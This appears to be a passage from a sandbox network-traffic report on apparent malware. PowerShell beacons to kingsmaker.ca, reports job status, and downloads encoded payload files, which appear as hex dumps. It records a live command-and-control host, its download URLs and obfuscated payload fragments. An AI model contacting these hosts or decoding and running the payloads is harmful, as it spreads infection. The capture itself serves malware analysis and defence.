2024-11-29 07:24:20 UTC	1369	IN	Data Raw: 6e 55 57 53 53 65 30 71 54 54 59 65 4f 4c 6d 54 78 56 6c 30 46 60 31 34 54 50 55 47 4e 57 46 72 78 56 6d 53 57 64 54 30 75 52 6c 75 4e 53 47 6a 76 56 57 53 57 4f 57 6d 70 54 6c 6d 4e 60 6d 71 70 55 6f 71 52 60 30 6d 54 52 59 71 51 53 31 71 73 56 6a 65 5b 65 30 71 54 50 6c 75 4f 64 6d 47 32 56 57 53 4f 4c 54 34 49 55 59 69 5b 57 47 71 70 56 6a 65 46 63 44 34 55 52 55 65 44 54 56 38 6f 52 54 4f 43 5b 33 53 48 52 6b 57 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 54 6c 6d 68 4c 6d 48 30 52 54 50 76 5b 31 71 49 64 49 5b 60 4c 45 47 72 58 7b 4f 4e 60 47 6e 78 57 6f 71 4b 52 49 65 6f 54 55 48 34 65 56 53 75 57 6f 6d 6a 53 6d 4b 33 55 47 57 76 64 6c 48 78 4f 45 65 44 54 56 Data Ascii: nUWSSe0qTTYeOLmTxVl0F`14TPUGNWFrxVmSWdT0uRluNSGjvVWSWOWmpTlmN`mqpUoqR`0mTRYqQS1qsVje[e0qTPluOdmG2VWSOLT4IUYi[WGqpVjeFcD4URUeDTV8oRTOC[3SHRkWDTV8oRTOC[1mEPVeKRIONP3mC[1mEPVeKP1GoRTOC[1mETlmhLmH0RTPv[1qIdI[`LEGrX{ON`GnxWoqKRIeoTUH4eVSuWomjSmK3UGWvdlHxOEeDTV
2024-11-29 07:24:20 UTC	1228	IN	Data Raw: 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 6a 69 56 64 56 47 55 50 55 6d 4b 50 31 71 77 5b 44 69 52 65 33 4f 37 63 32 5b 4c 4c 6f 53 76 58 6c 30 6a 64 6c 4b 59 53 6f 4b 60 56 44 6d 30 56 55 4b 47 65 6d 71 75 63 49 4f 60 57 44 6d 33 55 54 53 57 4c 54 38 44 53 55 53 60 57 30 57 34 55 59 71 47 64 6a 30 70 5b 7b 53 60 53 31 31 78 56 59 71 53 64 57 71 44 55 6c 30 4f 60 6c 72 31 55 54 65 57 4c 6a 30 44 5b 46 69 60 53 47 6d 37 55 6a 65 4a 63 47 71 75 52 55 43 51 57 47 54 7b 55 56 71 42 63 47 71 54 53 6c 6d 4f 64 6c 53 71 56 56 30 47 4c 57 71 54 54 6c 30 4f 53 44 54 76 55 6d 53 6e 63 44 30 54 53 59 65 4f 4c 6d 54 7b 55 6b 4b 57 65 31 38 59 53 55 43 4e 57 31 31 31 56 59 71 73 64 Data Ascii: ushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#RjiVdVGUPUmKP1qw[DiRe3O7c2[LLoSvXl0jdlKYSoK`VDm0VUKGemqucIO`WDm3UTSWLT8DSUS`W0W4UYqGdj0p[{S`S11xVYqSdWqDUl0O`lr1UTeWLj0D[Fi`SGm7UjeJcGquRUCQWGT{UVqBcGqTSlmOdlSqVV0GLWqTTl0OSDTvUmSncD0TSYeOLmT{UkKWe18YSUCNW111VYqsd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49708	104.21.75.170	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:21 UTC	284	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66c74da238bddf0e0d340a354c1a6cdae5 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 302
2024-11-29 07:24:21 UTC	302	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 6b 69 6e 67 73 6d 61 6b 65 72 2e 63 61 2f 66 69 6c 65 32 2f 30 35 35 38 31 38 65 65 32 33 31 33 32 38 38 64 63 36 63 34 32 64 33 66 32 39 38 30 65 36 30 37 61 64 36 33 34 62 65 66 62 34 39 35 37 32 30 65 65 31 62 33 37 62 62 61 35 65 34 66 30 31 34 35 38 65 31 31 30 33 65 37 37 65 30 39 61 34 35 63 38 63 39 33 34 30 31 63 66 32 62 66 34 35 32 63 36 66 37 30 62 63 61 31 35 35 62 38 65 66 33 39 63 30 32 30 32 65 37 32 63 65 35 63 35 66 34 30 38 33 36 37 33 61 30 62 35 33 38 36 66 66 64 31 33 39 63 37 64 34 32 66 32 65 61 32 30 30 35 62 65 38 35 31 36 66 35 61 64 38 32 39 66 39 34 61 62 65 61 62 38 66 37 66 65 33 32 62 61 30 32 62 38 38 65 34 34 64 66 35 62 30 Data Ascii: [ "\"begin download https://kingsmaker.ca/file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e77e09a45c8c93401cf2bf452c6f70bca155b8ef39c0202e72ce5c5f4083673a0b5386ffd139c7d42f2ea2005be8516f5ad829f94abeab8f7fe32ba02b88e44df5b0
2024-11-29 07:24:22 UTC	991	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:22 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SclmWg2w7bumUdI9AwQstA6QHIdlO06VXVMsMAI1HZZ55OlM0kzvezlwvS1q4BTNjmXHiKkomd%2FC8zPoiyahzRHXSz2OdsP7H5hfLBlFqVxUxsUI2VydKXVk2omnpB9fww%2BfZ%2FwzViqA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=27015&min_rtt=1061&rtt_var=28918&sent=175&recv=193&lost=0&retrans=0&sent_bytes=72441&recv_bytes=113854&delivery_rate=6218057&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0db8e49c00fa1-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1658&rtt_var=638&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1246&delivery_rate=1692753&cwnd=252&unsent_bytes=0&cid=5833160b9b23f9f8&ts=1005&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49709	104.21.75.170	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:24 UTC	364	OUT	GET /file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e77e09a45c8c93401cf2bf452c6f70bca155b8ef39c0202e72ce5c5f4083673a0b5386ffd139c7d42f2ea2005be8516f5ad829f94abeab8f7fe32ba02b88e44df5b04afca3c479a650327a20a9 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca
2024-11-29 07:24:25 UTC	1114	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:25 GMT Content-Type: application/octet-stream Content-Length: 21698 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HVYJfJNDSXnvzVRSURZPY11lrKmIaL%2FRRZgKnE4Oemn9mdC1LDsTZP0nDK1pV831S7AhqQIKokziFv%2BBFT%2FAZc1DgW6FSlD3jto%2FYmQm0KR%2BeUwgtcM00%2Bq5%2FQTC9KqUIOWKMHoYLlec"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10421&min_rtt=1097&rtt_var=16567&sent=50&recv=43&lost=0&retrans=0&sent_bytes=44816&recv_bytes=10684&delivery_rate=15815842&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0db9d6c5441df-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1615&rtt_var=613&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1002&delivery_rate=1773997&cwnd=252&unsent_bytes=0&cid=c6fcc9ca9c07a655&ts=1112&x=0"
2024-11-29 07:24:25 UTC	255	IN	Data Raw: 25 68 6b 65 6c 6c 6a 68 78 67 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 50 56 75 60 4c 6f 69 33 56 56 30 46 62 31 38 73 5b 47 43 52 63 46 79 56 54 56 79 6e 50 6d 4b 73 56 56 65 50 54 31 4b 43 52 31 4f 73 4f 31 53 53 63 33 65 4b 50 31 47 6f 5b 6d 44 76 52 31 53 53 63 31 34 45 60 54 47 6f 52 54 4f 43 55 6a 4f 74 4c 44 34 45 60 54 30 4e 50 33 6d 4f 5b 33 48 7b 50 6c 79 68 60 30 71 76 58 6a 65 57 65 56 4f 48 55 59 69 44 54 56 38 70 53 47 47 77 55 6a 4f 71 55 56 65 52 53 30 5b 75 58 57 62 30 63 44 6d 48 54 6c 38 60 54 31 4b 75 58 57 65 35 63 44 6d 49 4f 56 69 68 57 30 57 6f Data Ascii: %hkelljhxg<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#PVu`Loi3VV0Fb18s[GCRcFyVTVynPmKsVVePT1KCR1OsO1SSc3eKP1Go[mDvR1SSc14E`TGoRTOCUjOtLD4E`T0NP3mO[3H{Plyh`0qvXjeWeVOHUYiDTV8pSGGwUjOqUVeRS0[uXWb0cDmHTl8`T1KuXWe5cDmIOVihW0Wo
2024-11-29 07:24:25 UTC	1369	IN	Data Raw: 56 57 62 30 60 31 6d 48 50 6c 69 6a 53 33 69 37 53 47 47 77 60 30 71 75 63 49 4f 60 57 55 57 6e 58 6d 65 57 5b 30 43 55 50 56 6d 53 4c 6b 6d 31 58 31 65 46 65 56 57 55 50 6a 4f 68 4c 6b 6d 78 58 6a 65 56 4c 44 79 74 50 6c 75 60 60 54 6d 4e 50 33 6d 52 4c 47 71 59 4c 59 65 52 63 55 6d 7b 56 6a 65 56 64 54 6d 44 4c 46 65 59 4c 54 35 30 58 7b 4f 52 63 46 4b 55 4f 54 71 54 64 55 57 53 56 57 69 52 63 30 69 54 63 7b 5b 52 4c 6d 58 76 57 6a 65 56 65 46 4f 46 50 6c 69 6a 53 33 65 77 52 30 53 7b 55 6a 4f 71 54 6c 30 69 57 32 69 72 57 54 65 46 4c 46 47 45 50 55 6d 4b 53 59 43 33 58 57 62 31 65 47 57 49 53 6b 43 69 50 31 47 31 57 54 65 46 4c 46 47 45 50 56 75 6a 53 30 5b 31 58 31 57 60 65 6c 4b 49 54 6c 79 6b 60 54 47 31 54 55 4b 6e 62 46 4b 49 54 6d 47 5b 56 47 4b Data Ascii: VWb0`1mHPlijS3i7SGGw`0qucIO`WUWnXmeW[0CUPVmSLkm1X1eFeVWUPjOhLkmxXjeVLDytPlu``TmNP3mRLGqYLYeRcUm{VjeVdTmDLFeYLT50X{ORcFKUOTqTdUWSVWiRc0iTc{[RLmXvWjeVeFOFPlijS3ewR0S{UjOqTl0iW2irWTeFLFGEPUmKSYC3XWb1eGWISkCiP1G1WTeFLFGEPVujS0[1X1W`elKITlyk`TG1TUKnbFKITmG[VGK
2024-11-29 07:24:25 UTC	1369	IN	Data Raw: 6f 43 68 53 30 57 6f 56 6c 34 4a 65 6c 4b 55 50 6b 43 69 53 30 57 6f 57 6d 5b 4a 55 54 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 47 63 49 57 6a 63 55 6d 78 56 6d 4c 79 56 47 71 59 52 6d 4f 60 56 44 58 79 56 6d 69 4e 4c 44 6d 45 4c 57 5b 6b 63 56 75 6f 52 6a 65 60 62 46 4b 49 57 6d 5b 6b 63 59 65 6f 55 47 54 34 4c 56 53 47 56 6f 43 68 53 30 57 6f 52 6a 65 60 62 46 4b 49 57 6d 47 5b 56 47 4b 77 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 44 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 56 47 53 46 53 6d 71 55 57 6a 5b 4d 54 33 72 30 56 44 6d 45 52 6a 57 68 4c 33 53 30 58 6a 62 34 60 47 71 45 50 6c 71 68 4c 6b 47 32 58 6a 65 56 4c 47 71 55 4f 46 6d 44 54 56 38 6f 52 54 4f 43 5b 33 5b 53 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 30 58 76 Data Ascii: oChS0WoVl4JelKUPkCiS0WoWm[JUTSSc3eKP1GoRTOC[1mGcIWjcUmxVmLyVGqYRmO`VDXyVmiNLDmELW[kcVuoRje`bFKIWm[kcYeoUGT4LVSGVoChS0WoRje`bFKIWmG[VGKwSGGw[1mEPVeKP1GoRTDvR1mEPVeKP1GoRTOBVGSFSmqUWj[MT3r0VDmERjWhL3S0Xjb4`GqEPlqhLkG2XjeVLGqUOFmDTV8oRTOC[3[SLDuDTV8oRTOC[0Xv
2024-11-29 07:24:25 UTC	1369	IN	Data Raw: 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 5b 6a 55 57 57 56 63 44 71 57 57 59 43 4d 57 46 79 6b 5b 31 6d 73 54 6f 5b 6a 4c 6b 57 7b 58 6b 4b 46 60 31 6d 48 55 6b 47 5b 4c 6a 34 72 58 7b 4f 4f 5b 31 71 46 57 6f 6d 68 50 31 6a 32 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 52 44 71 72 5b 44 69 56 64 56 4b 71 50 56 75 6a 52 44 6e 79 56 6d 53 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 5b 53 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6c 71 5b 56 47 4b 70 58 54 44 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 58 57 44 5b 46 56 6d 4f 56 53 6a 75 55 60 7b 57 58 52 54 4f 52 5b 6a 79 73 57 6b 53 5b 4c 6d 5b 32 5b Data Ascii: OC[1mEPVeKP1GoRT[jUWWVcDqWWYCMWFyk[1msTo[jLkW{XkKF`1mHUkG[Lj4rX{OO[1qFWomhP1j2SGGwUjOqPVeKP1GoRTOC[1mEPVeKRDqr[DiVdVKqPVujRDnyVmS{UjOqPVeKP1GoRTOC[3[SLDuKP1GoRTOC[1mEPlq[VGKpXTDvR1mEPVeKP1GoRTOBO1SSc3eKP1GoRTOC[1mEPVeKP1KXWD[FVmOVSjuU`{WXRTOR[jysWkS[Lm[2[
2024-11-29 07:24:25 UTC	543	IN	Data Raw: 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 30 4b 75 58 57 65 35 63 47 47 74 63 45 43 60 56 44 34 68 52 6a 65 72 5b 44 6d 44 4c 46 65 4a 53 30 71 76 58 6a 65 56 50 33 57 58 54 6c 79 6b 4c 59 4f 73 58 57 58 76 5b 31 79 59 52 6b 53 68 4c 31 6d 6f 52 6a 5b 6e 65 6c 4f 73 65 46 79 6d 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 48 34 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 34 50 6d 69 6b 63 56 76 76 56 6d 4f 42 4c 46 47 49 57 56 65 60 57 7b 57 70 58 33 34 72 65 33 53 49 57 6c 75 4c 4c 6d 4b 72 56 55 4f 4a 4f 56 4f 48 54 6c 79 60 50 31 4b 71 5b 57 69 52 63 46 4f 34 50 6b 43 68 64 54 48 76 58 54 65 57 5b 33 48 7b 57 6b 43 6b 52 47 58 76 52 54 65 60 62 46 4b 49 57 54 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 Data Ascii: KP1GoRTOC[1mEPVeKP0KuXWe5cGGtcEC`VD4hRjer[DmDLFeJS0qvXjeVP3WXTlykLYOsXWXv[1yYRkShL1moRj[nelOseFymTUCMRTOC[1mEPVeKP1H4SGGwUjOqPVeKP1GoRTOC[1m4PmikcVvvVmOBLFGIWVe`W{WpX34re3SIWluLLmKrVUOJOVOHTly`P1Kq[WiRcFO4PkChdTHvXTeW[3H{WkCkRGXvRTe`bFKIWT4E`TGoRTOC[1mEPV
2024-11-29 07:24:25 UTC	1369	IN	Data Raw: 6d 60 56 47 48 79 58 33 31 31 5b 31 71 48 54 6f 6d 6a 57 30 57 4e 50 33 6d 43 5b 31 6d 45 50 6b 6d 4b 53 31 34 6e 5b 44 65 4e 63 31 6d 48 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 56 4c 49 69 52 57 30 57 72 54 6d 4f 73 62 44 38 56 64 54 47 73 56 49 6a 30 53 6c 57 49 55 6c 79 6b 52 47 4b 76 58 6b 48 31 65 57 53 59 57 6f 71 6b 4c 6a 5b 74 56 6d 53 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 58 76 64 47 4b 59 57 56 79 52 54 33 75 76 55 30 5b 34 50 56 6d 52 56 44 71 34 58 6b 4f 4b 5b 33 4f 48 52 6f 5b 5b 4c 6d 5b 37 58 32 6d 4b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 4f 75 57 6b 43 6a 56 44 71 30 52 54 4f 52 63 57 6d 59 64 49 71 60 54 55 43 4d 52 54 4f 43 5b 31 6d 48 4c 44 34 45 63 6b 43 4e 50 33 62 76 52 30 71 74 57 Data Ascii: m`VGHyX311[1qHTomjW0WNP3mC[1mEPkmKS14n[DeNc1mHb14E`TGoRTOC[1mEPVeVLIiRW0WrTmOsbD8VdTGsVIj0SlWIUlykRGKvXkH1eWSYWoqkLj[tVmS{UjOqPVeKP1GoRTOC[0XvdGKYWVyRT3uvU0[4PVmRVDq4XkOK[3OHRo[[Lm[7X2mKUjOqPVeKP1GoRTOC[3OuWkCjVDq0RTORcWmYdIq`TUCMRTOC[1mHLD4EckCNP3bvR0qtW
2024-11-29 07:24:25 UTC	1369	IN	Data Raw: 72 65 54 53 53 63 33 65 4b 50 31 47 6f 57 55 4f 52 60 46 4f 74 54 59 53 57 4c 6f 69 72 56 6d 69 43 5b 31 79 56 55 6c 79 5b 4c 6b 6d 30 56 6a 69 4f 5b 31 30 53 4c 44 75 4b 50 31 47 6f 52 54 4f 52 65 57 71 58 5b 47 57 69 57 7b 47 72 52 54 50 76 5b 30 48 78 57 6b 43 4c 57 57 4b 6e 5b 44 65 57 4f 31 53 53 63 33 65 4b 50 31 47 6f 57 6b 43 35 54 6d 65 57 63 47 4b 55 60 32 43 51 57 6f 6d 43 60 57 44 78 60 46 79 5b 4c 6f 53 76 58 6c 30 6b 5b 30 71 75 4e 59 6d 4b 50 30 4b 49 58 57 65 35 63 47 53 75 53 6f 53 60 54 31 4b 76 58 6c 6d 43 60 33 53 49 57 6f 53 6b 53 57 71 33 58 6a 65 52 63 46 4f 71 4f 49 57 4c 60 54 6d 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 52 46 53 77 58 57 65 35 63 44 6d 45 5b 33 38 4a 53 7b 57 72 5b 45 47 52 62 46 4b 59 57 56 65 4c 54 31 47 73 58 7b Data Ascii: reTSSc3eKP1GoWUOR`FOtTYSWLoirVmiC[1yVUly[Lkm0VjiO[10SLDuKP1GoRTOReWqX[GWiW{GrRTPv[0HxWkCLWWKn[DeWO1SSc3eKP1GoWkC5TmeWcGKU`2CQWomC`WDx`Fy[LoSvXl0k[0quNYmKP0KIXWe5cGSuSoS`T1KvXlmC`3SIWoSkSWq3XjeRcFOqOIWL`TmNP3bvR1mEPVeKRFSwXWe5cDmE[38JS{Wr[EGRbFKYWVeLT1GsX{
2024-11-29 07:24:25 UTC	158	IN	Data Raw: 53 30 57 6f 56 6c 30 72 62 30 71 55 50 6b 4f 5b 56 44 30 6f 58 6c 31 34 4c 44 6d 49 56 6f 5b 6a 57 7b 57 73 53 47 47 77 5b 31 6d 45 50 56 65 6b 63 57 58 76 5b 47 69 4a 65 54 6d 45 54 6c 30 5b 57 32 69 37 56 6d 44 76 52 33 5b 53 4c 44 75 44 54 56 38 4e 50 33 79 6a 55 57 57 56 63 44 71 57 57 59 43 4d 57 46 79 6b 5b 31 6d 73 55 6c 38 60 57 31 34 78 52 54 62 79 4c 56 53 49 57 6b 53 6a 50 31 6a 32 53 47 47 77 60 33 4b 58 54 6b 53 58 4c 6a 34 77 58 57 65 35 60 31 6d 44 4c 46 Data Ascii: S0WoVl0rb0qUPkO[VD0oXl14LDmIVo[jW{WsSGGw[1mEPVekcWXv[GiJeTmETl0[W2i7VmDvR3[SLDuDTV8NP3yjUWWVcDqWWYCMWFyk[1msUl8`W14xRTbyLVSIWkSjP1j2SGGw`3KXTkSXLj4wXWe5`1mDLF
2024-11-29 07:24:25 UTC	1369	IN	Data Raw: 65 54 63 57 58 7b 55 47 54 34 60 56 47 75 57 6c 71 6a 50 31 4b 54 5b 57 69 4e 4c 47 71 59 4c 49 57 56 53 33 69 34 56 6d 65 46 60 33 47 59 4f 56 34 4c 60 7b 44 79 5b 44 65 56 4f 44 75 45 54 6c 30 5b 57 32 69 37 56 6d 4f 32 5b 31 6d 72 55 6d 57 53 57 6a 71 57 57 6d 57 46 53 44 6d 71 60 7b 65 44 54 56 38 73 58 6a 62 34 60 6c 44 76 53 6c 71 6b 56 47 5b 76 58 33 30 56 60 30 44 78 60 49 43 68 53 30 47 6f 54 47 4f 43 60 33 4b 58 54 6b 53 58 4c 6a 34 77 58 57 65 35 60 31 79 72 5b 46 69 69 56 47 4b 50 58 6c 30 57 63 31 30 45 60 7b 65 44 54 59 43 76 56 6c 6d 43 63 31 71 49 64 49 5b 5b 4c 6f 53 42 56 55 4f 46 4c 56 47 58 52 6c 79 60 53 54 34 77 58 57 65 35 60 31 6d 45 4c 56 79 6b 54 31 47 73 5b 44 69 4a 4c 57 71 55 60 33 65 44 54 59 40 32 53 47 47 77 5b 31 6d 45 50 Data Ascii: eTcWX{UGT4`VGuWlqjP1KT[WiNLGqYLIWVS3i4VmeF`3GYOV4L`{Dy[DeVODuETl0[W2i7VmO2[1mrUmWSWjqWWmWFSDmq`{eDTV8sXjb4`lDvSlqkVG[vX30V`0Dx`IChS0GoTGOC`3KXTkSXLj4wXWe5`1yr[FiiVGKPXl0Wc10E`{eDTYCvVlmCc1qIdI[[LoSBVUOFLVGXRly`ST4wXWe5`1mELVykT1Gs[DiJLWqU`3eDTY@2SGGw[1mEP
2024-11-29 07:24:25 UTC	1369	IN	Data Raw: 56 64 57 6d 71 50 6f 6d 6a 57 7b 57 6e 58 32 6d 43 65 47 58 78 63 49 57 60 53 7b 6a 7b 57 55 4f 52 4f 56 4b 49 57 56 65 69 53 33 79 73 56 6a 65 56 65 54 6d 45 4c 54 4b 6b 63 56 50 79 58 6d 65 56 65 56 53 47 64 49 43 6b 4c 30 47 6f 52 31 4f 4b 65 6d 6d 34 50 6f 71 6a 53 31 5b 34 5b 44 4f 43 65 6c 4b 59 63 49 57 4b 50 31 6d 71 52 56 6d 4b 5b 33 4f 49 4e 55 4f 60 56 44 71 37 58 54 65 56 62 33 4b 45 4f 56 79 6d 53 30 57 6f 55 47 5b 6a 62 46 4b 75 54 6f 5b 6a 4c 54 35 76 5b 57 65 35 63 44 6d 49 60 49 43 60 53 30 4b 72 58 6c 6d 43 5b 31 79 57 4f 59 5b 54 53 7b 6d 74 58 6f 6d 43 65 47 53 75 4e 57 47 6b 63 55 6d 75 58 57 65 35 63 44 6d 45 4c 54 5b 6d 53 30 5b 70 5b 47 69 52 62 46 48 78 4f 57 47 68 4c 6f 69 76 56 55 4f 73 5b 30 6d 74 63 49 65 5b 56 44 34 37 52 54 Data Ascii: VdWmqPomjW{WnX2mCeGXxcIW`S{j{WUOROVKIWVeiS3ysVjeVeTmELTKkcVPyXmeVeVSGdICkL0GoR1OKemm4PoqjS1[4[DOCelKYcIWKP1mqRVmK[3OINUO`VDq7XTeVb3KEOVymS0WoUG[jbFKuTo[jLT5v[We5cDmI`IC`S0KrXlmC[1yWOY[TS{mtXomCeGSuNWGkcUmuXWe5cDmELT[mS0[p[GiRbFHxOWGhLoivVUOs[0mtcIe[VD47RT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	104.21.75.170	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:28 UTC	283	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1bb08e1319f40af0a0e HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 85
2024-11-29 07:24:28 UTC	85	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
2024-11-29 07:24:29 UTC	989	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:28 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Tb8LzbFxAmY3o2wNklEtTbtidTa%2F2TEfb6Y7ii6AYOsuVvX60AQA%2FhHOob66xtor4k1%2Bp9FNYSvM3LvrYSk6rDVcCNxbRnGdNLmzJvxgbb3JAEXaVK2OrAO8s7tCfoTntZU5OTAv7uF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=26450&min_rtt=1097&rtt_var=30758&sent=78&recv=62&lost=0&retrans=0&sent_bytes=70505&recv_bytes=15040&delivery_rate=16497175&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dbb539d342bf-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1582&rtt_var=600&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1028&delivery_rate=1812538&cwnd=213&unsent_bytes=0&cid=e0ff36bcd2a89ee4&ts=1004&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49715	104.21.75.170	443	7256	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:30 UTC	388	OUT	GET /file2/49508e4a94e55731c13cdad92122b7aa2ebdf21d51630b7cdcc73837245a4bab7339db115da9503bff5f3eb63dd5c8b58a4edbb94e89e961ebecca194b9e0e9e7656d46736c256bfc8b3dc86635484638b966bdfe9f1621daa6f792b5a53044675d929c45f5b8ee476604bf020ab6dd8 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Connection: Keep-Alive
2024-11-29 07:24:31 UTC	1107	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:31 GMT Content-Type: application/octet-stream Content-Length: 697614 Connection: close content-disposition: attachment; filename=file; filename*=UTF-8''file CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8amhGefXDk7GtfRF8IMjkQJNhfZ34136DDhXEutv%2BWZFIihT7nhin46z83NBu%2BofAHfUwX2gK2BIdpTU8i4tRS3aDBmCYw%2FBE1JFyVe%2BZSHFS%2Bmlvc4xULQxvNHyoetFQImOfd7GbJ48"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10026&min_rtt=1602&rtt_var=15145&sent=19&recv=19&lost=0&retrans=0&sent_bytes=12800&recv_bytes=4579&delivery_rate=6716503&cwnd=256&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 